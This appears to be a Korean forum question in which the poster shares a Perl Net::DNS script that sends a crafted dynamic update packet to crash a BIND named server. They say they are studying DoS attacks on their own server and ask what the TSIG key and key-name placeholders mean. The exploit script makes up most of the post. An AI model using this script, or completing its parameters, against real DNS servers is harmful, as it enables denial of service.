---- perl 명령어? key값이 무엇인가요? ㅠㅠㅠㅠ 도와주셔요ㅠㅠㅠ

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '<dns server>';
our $NSI_KEY_NAME = '<key name>';
our $NSI_KEY = '<key>';

my $rzone = '<zone>';
my $rptr  = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
    pre => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'IN',
        Type  => 'ANY',
        TTL   => 0,
    )
);
$packet->push(
    update => Net::DNS::RR->new(
        Name  => $rptr,
        Class => 'ANY',
        Type  => 'ANY',
    )
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);


==========================================================================
==========================================================================

위 code를  dynamic update 기능을 사용해서
named서버에 dos공격을 하려고 합니다.

제가 서버 운용해서 제 서버를 공격하면서 공부중인데,,
3일째 진전이 없네요;
구글신에게 물어봐서 하는데까지 해봣는데 잘 안되네요 ㅠㅠ

빨간 글씨에 각각 어떤값을 넣어야 되는지요ㅠㅠ

특히!!!! key와 keyname에서 잘못넣는것 같은데
key와 keyname이 어떤 의미인지 어떤값을 생성해서 넣어줘야하는지 모르겠습니다 ㅠ

도와주세요 ㅠㅠㅠㅠㅠㅠㅠㅠㅠㅠ